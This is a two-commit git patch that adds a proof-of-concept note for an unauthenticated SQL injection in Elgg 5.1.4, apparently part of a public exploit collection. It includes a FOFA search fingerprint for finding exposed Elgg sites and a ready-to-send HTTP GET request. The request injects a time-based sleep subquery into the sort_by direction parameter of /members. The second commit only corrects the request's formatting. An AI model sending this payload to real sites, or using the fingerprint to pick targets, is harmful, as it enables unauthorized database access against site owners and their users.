From ce32928ef5be76af342fa179c4732bc1a2f9fec7 Mon Sep 17 00:00:00 2001 From: Kazgangap Date: Thu, 22 Aug 2024 11:38:12 +0300 Subject: [PATCH 1/2] elgg sqli --- Elgg/elgg-sqli.md | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 Elgg/elgg-sqli.md diff --git a/Elgg/elgg-sqli.md b/Elgg/elgg-sqli.md new file mode 100644 index 00000000..a3467c4e --- /dev/null +++ b/Elgg/elgg-sqli.md @@ -0,0 +1,16 @@ +## Elgg 5.1.4 Sql Injection + +## fofa +``` +icon_hash="413602919" +``` + +## poc +``` +GET /members?sort_by%5Bproperty%5D=name&sort_by%5Bproperty_type%5D=metadata&sort_by%5Bdirection%5D=desc%2c(select*from(select(sleep(6)))a)HTTP/1.1 +Host: +``` + +## Ref + +- https://github.com/4rdr/proofs/blob/main/info/Elgg_unauth_SQLi_5.1.4.md \ No newline at end of file From ae80b9d536ea994d99ff0c2bdcdc11fae21cca73 Mon Sep 17 00:00:00 2001 From: Kazgangap Date: Thu, 22 Aug 2024 11:40:15 +0300 Subject: [PATCH 2/2] fix --- Elgg/elgg-sqli.md | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/Elgg/elgg-sqli.md b/Elgg/elgg-sqli.md index a3467c4e..115768c7 100644 --- a/Elgg/elgg-sqli.md +++ b/Elgg/elgg-sqli.md @@ -4,13 +4,11 @@ ``` icon_hash="413602919" ``` - ## poc ``` -GET /members?sort_by%5Bproperty%5D=name&sort_by%5Bproperty_type%5D=metadata&sort_by%5Bdirection%5D=desc%2c(select*from(select(sleep(6)))a)HTTP/1.1 +GET /members?sort_by%5Bproperty%5D=name&sort_by%5Bproperty_type%5D=metadata&sort_by%5Bdirection%5D=desc%2c(select*from(select(sleep(6)))a) HTTP/1.1 Host: ``` ## Ref - - https://github.com/4rdr/proofs/blob/main/info/Elgg_unauth_SQLi_5.1.4.md \ No newline at end of file